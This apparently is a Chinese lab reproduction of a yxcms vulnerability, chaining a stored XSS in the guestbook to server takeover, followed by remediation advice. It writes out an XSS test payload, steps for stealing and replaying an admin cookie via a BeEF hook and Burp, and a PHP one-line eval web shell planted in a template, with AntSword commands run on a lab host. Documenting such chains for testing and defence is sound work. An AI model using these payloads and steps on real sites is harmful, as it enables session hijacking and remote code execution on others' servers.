yxcms存储型XSS至getshell 漏洞复现

03 利用方式

访问 http://192.168.40.133/yxcms/页面，浏览网页相关消息，留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

模拟管理员登入后台查看留言管理，发现出现弹框

确定网站存在存储型 XXS 后，计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss，修改登录密码为jkxy@123

访问 beef-xss 的 web 管理界面：http://127.0.0.1:3000/ui/panel，使用账号密码 beef/jkxy@123 成功登录

使用 beef 平台生成的 hook 进行 XSS 攻击，在留言本中发布一个带 hook 的评论

模拟后台管理员进行内容审核操作

在 Kali 攻击机上登录 beef，这里可以看到被勾连的浏览器，我们获得了其登录的 URL 和 cookie

利 用 Burp Suite 代 理 工 具 ， 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 ， 在Proxy—>Option—>Match and Replace 板块添加一个规则：^Cookie.*$，其中Cookie 填入 beef-xss 中获取的 cookie 消息，添加好后把 enabled 勾上，这样每次经过 burp 的请求都是固定的 cookie

使用浏览器重新访问后台网站，发现直接登录后台管理页面

成功登录 CMS管理员后台后，找到模板编辑处，往 index_index.php 中，插入一句话：

<?php eval($_POST["jkxy"])；?>

中国蚁剑连接 http://192.168.239.202/yxcms/index.php，使用 ipconfig 命令进行虚拟终端功能测试，发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

测试中国蚁剑文件管理功能，发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public，说明中国蚁剑成功连接 webshell

至此攻击者通过存储型XSS至getshell，成功获取服务器权限。

04 修复方案

2、某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。

3、数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。

4、明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

5、注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。